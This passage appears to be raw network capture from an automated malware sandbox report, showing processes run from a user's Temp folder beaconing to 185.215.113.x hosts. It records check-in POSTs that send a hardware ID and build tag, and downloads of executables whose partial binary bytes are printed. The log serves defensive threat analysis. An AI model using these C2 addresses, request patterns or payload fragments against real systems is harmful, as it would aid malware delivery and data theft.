Nov 29, 2024 19:50:22.026015043 CET	1236	IN	Data Raw: a2 b5 19 e8 97 cf df c8 84 bd 26 6f 5c e4 77 e1 18 1f e1 4e e4 b2 29 bf 93 b4 65 c6 aa 37 fd 37 ae bd da b1 29 59 4d b0 83 fb 30 95 11 43 46 fa d4 4a 43 87 95 d2 9d 71 97 b3 d5 51 a5 9b 75 49 99 1e 48 8a 97 cc 36 dd 2f fb d2 e1 1f 12 51 ae 53 b9 Data Ascii: &o\wN)e77)YM0CFJCqQuIH6/QS"RMA[N`ZBpDT{X`m<C7Mz8c7Sr+kcUEw45$}`Jb<s9;8GX(SM0P VZ;8N
Nov 29, 2024 19:50:22.026025057 CET	248	IN	Data Raw: dd 81 a0 66 9f 2c 0a d7 63 74 f2 62 68 6c 58 97 08 b4 c3 bb 00 b5 cd d0 25 24 08 58 3f f6 2d 94 49 d7 8f 26 fa f8 e1 fd 90 d0 e0 00 69 8e 11 e3 1b c5 e3 16 4d f9 7e 14 9d 0f 60 1b 26 cf 58 1b bb 9b 2e cd a1 e9 39 8c 88 ae 15 c2 0e bd 91 a2 56 00 Data Ascii: f,ctbhlX%$X?-I&iM~`&X.9V`k%VWN1hJ?:ya$jK`Vkj'>*zQ?VJ=s`BY7dB9404]RS2+/"ENP}h/bB6Y
Nov 29, 2024 19:50:22.027679920 CET	1236	IN	Data Raw: 9d 81 bd 4c 91 32 f9 f0 43 8b 88 02 48 89 d2 72 49 60 68 b1 20 a9 2e 87 b9 ac a1 f8 cf 27 e6 8d 53 b2 78 fe 57 a7 f0 a9 13 21 fc cf 2d 19 92 ae a3 79 cb 9f bf 9a 31 a8 93 36 f1 ee 38 34 f8 95 87 5a a6 d5 a0 cb 23 ba 3c 98 bd 2b 74 00 7b de 13 bb Data Ascii: L2CHrI`h .'SxW!-y1684Z#<+t{Y Wq[7d$?#h&al@>_1]?]r\|=6Jb';*K9}#uu}_/!\]$`3aq@a]1`$!v-{
Nov 29, 2024 19:50:22.027786970 CET	1236	IN	Data Raw: 65 eb c1 97 77 43 02 bf 3a ca ad af 5c 0b 1b 99 ab 37 d9 12 5e ed 92 e4 ab a1 4f 87 27 a7 6d de b0 03 df 18 a3 ab 73 9f 81 37 91 5e b4 9c dd 1e fe eb 41 99 0b 37 83 16 10 f9 48 ee da cb 9d a0 ab 60 53 f2 1f 9f 62 8a 19 cf 81 2a ad 8b 83 6e ab 5e Data Ascii: ewC:\7^O'ms7^A7H`Sbn^HW7Yyc QBQk^^cw~F;i3H4Z_BFPJYk727yNmCj8)HY[P,\|1+Ob
Nov 29, 2024 19:50:22.145545959 CET	1236	IN	Data Raw: 59 cc dd eb c3 87 f0 56 3a a5 41 b0 d9 36 8a 84 b9 a5 31 96 19 9f 83 3e 13 97 55 8b 9f 64 51 92 51 97 4f ae cb 3f d9 38 ab 97 08 97 12 d6 c2 7e a4 b0 83 9a f3 5b 51 29 d1 f3 50 97 77 d7 05 2e 5f 81 51 6c 38 a3 e1 9f 59 27 80 12 aa 0a 98 c7 b3 23 Data Ascii: YV:A61>UdQQO?8~[Q)Pw._Ql8Y'#OC +)FQ>t#?Y['QY\|Co8O{Q&?^MY#P'7V&W/twt[0k3e6[*Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49896	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:50:27.617077112 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 33 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010354001&unit=246122658369
Nov 29, 2024 19:50:28.970102072 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:50:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49901	185.215.113.206	80	6408	C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:50:28.927469969 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:50:30.329282999 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 29, 2024 19:50:30.332122087 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFBGIJKEGIECAAFHDH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 45 44 42 38 38 39 42 33 39 32 34 31 37 39 35 33 37 33 33 38 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 2d 2d 0d 0a Data Ascii: ------HDAFBGIJKEGIECAAFHDHContent-Disposition: form-data; name="hwid"57EDB889B3924179537338------HDAFBGIJKEGIECAAFHDHContent-Disposition: form-data; name="build"drum------HDAFBGIJKEGIECAAFHDH--
Nov 29, 2024 19:50:30.799129009 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49902	185.215.113.16	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:50:29.097862005 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 29, 2024 19:50:30.473856926 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:50:30 GMT Content-Type: application/octet-stream Content-Length: 922624 Last-Modified: Fri, 29 Nov 2024 18:36:32 GMT Connection: keep-alive ETag: "674a09b0-e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a8 09 4a 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELJg"dw@pU@@@d\|@Pu4@.text `.rdata@@.datalpH@.rsrcP@@@.relocuv@B
Nov 29, 2024 19:50:30.473916054 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Nov 29, 2024 19:50:30.474623919 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Nov 29, 2024 19:50:30.474713087 CET	1236	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9404
Nov 29, 2024 19:50:30.474721909 CET	248	IN	Data Raw: 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 Data Ascii: j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]
Nov 29, 2024 19:50:30.475941896 CET	1236	IN	Data Raw: 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 c9 e5 00 00 8a 46 30 88 47 30 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 89 11 40 89 41 0c 89 51 08 88 51 10 89 51 Data Ascii: uWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3WjXSG
Nov 29, 2024 19:50:30.476013899 CET	1236	IN	Data Raw: 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 00 8a 01 c3 83 39 00 0f 95 c0 c3 8b 41 08 83 78 04 00 eb f3 55 8b ec 53 56 8b 75 08 33 db 57 8a d3 8b 0e 8d Data Ascii: At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4
Nov 29, 2024 19:50:30.476023912 CET	248	IN	Data Raw: 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 00 00 8b 45 d8 8b 48 04 8b 85 58 ff ff ff 89 45 bc e9 a6 fe ff ff 83 e8 21 0f 85 23 01 00 00 8b 41 04 6a 7f Data Ascii: ;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE
Nov 29, 2024 19:50:30.476809025 CET	1236	IN	Data Raw: 00 3b fb 0f 84 31 fd ff ff e9 85 04 04 00 ff 75 e8 ff 75 f4 ff 75 e4 ff 75 e0 53 52 ff 75 f0 33 db 53 e8 86 03 00 00 85 c0 78 02 8b f3 8d 4d 84 e8 1a 02 00 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 Data Ascii: ;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIE
Nov 29, 2024 19:50:30.476861954 CET	1236	IN	Data Raw: 00 88 5c 24 19 88 5c 24 1a ff 15 28 c3 49 00 8d 44 24 13 50 ff 75 08 e8 c2 03 00 00 ff 15 18 c2 49 00 85 c0 0f 85 aa 00 04 00 a1 00 14 4d 00 85 c0 0f 84 b5 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 Data Ascii: \$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M
Nov 29, 2024 19:50:30.594655037 CET	1236	IN	Data Raw: 4d e0 e8 6c a0 00 00 8b 75 ac 8d 4d f0 e8 22 7a 00 00 8d 45 f0 50 8d 4d 90 e8 39 01 00 00 8b 7d f0 57 68 58 ca 49 00 e8 cf 1a 02 00 59 59 85 c0 0f 84 8b fd 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 Data Ascii: MluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49918	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:50:34.990381956 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 33 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010355001&unit=246122658369
Nov 29, 2024 19:50:36.360016108 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:50:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49923	185.215.113.16	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:50:36.554704905 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 29, 2024 19:50:37.895265102 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:50:37 GMT Content-Type: application/octet-stream Content-Length: 2799616 Last-Modified: Fri, 29 Nov 2024 18:36:58 GMT Connection: keep-alive ETag: "674a09ca-2ab800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 15 07 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `++`Ui` @ @.rsrc`2@.idata 8@ltedtzog`X:@bxhrajpy +@.taggant@ +"@
Nov 29, 2024 19:50:37.895307064 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:37.895466089 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:37.895476103 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:37.895487070 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:37.895529985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:37.895692110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:37.895704031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:37.895817995 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:37.895828962 CET	1236	IN	Data Raw: 47 af 0c 59 dc 2d 09 12 82 9f 1a e4 6b e3 1c 0f 53 f2 11 3a 86 cc ad 44 3b 7a 24 f6 95 dd 2f ca 87 ea 0b d8 a2 77 21 51 11 e1 06 26 07 eb 10 98 64 f7 c6 0d 60 b5 09 c1 3b 95 03 08 1b c6 3b 25 82 65 26 19 7f da df 09 02 d0 7e 14 2c a0 92 5e 21 eb Data Ascii: GY-kS:D;z$/w!Q&d`;;%e&~,^!?@HF(X?/BUj3:g;13Fd$mp~&eD4sAW] rc6GC_J6DVsy~-
Nov 29, 2024 19:50:38.015810966 CET	1236	IN	Data Raw: 74 9e de fb 54 63 97 f9 33 c3 d2 a7 75 c1 e2 45 22 36 8b 8f ec 9e cd 69 e7 b6 31 8b 62 b5 91 d0 c6 71 1c 38 3e 45 0e 5a 4b fd d0 c1 97 a7 1c f0 76 1e e0 a3 a7 b2 c8 0e c9 9f cd dc 3d 8e 4d ba a1 16 e3 55 ee 9f 25 e6 67 f7 cb f4 96 e5 a6 f7 e4 c7 Data Ascii: tTc3uE"6i1bq8>EZKv=MU%g1DlUjm",8*CpKy\|qTa_'k6;C)m$"\|Uk7kTRH'4Xg@}Pi\|z._}L%:mG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49942	34.107.221.82	80	7260	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:50:40.857913017 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:50:42.037571907 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 29 Nov 2024 01:51:28 GMT Age: 61153 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 29, 2024 19:50:47.184494972 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:50:47.519236088 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 29 Nov 2024 01:51:28 GMT Age: 61159 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 29, 2024 19:50:48.402342081 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:50:48.736458063 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 29 Nov 2024 01:51:28 GMT Age: 61160 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49955	185.215.113.16	80	8184	C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:50:44.207876921 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 29, 2024 19:50:45.830887079 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:50:45 GMT Content-Type: application/octet-stream Content-Length: 2799616 Last-Modified: Fri, 29 Nov 2024 18:37:00 GMT Connection: keep-alive ETag: "674a09cc-2ab800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 15 07 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `++`Ui` @ @.rsrc`2@.idata 8@ltedtzog`X:@bxhrajpy +@.taggant@ +"@
Nov 29, 2024 19:50:45.832041025 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
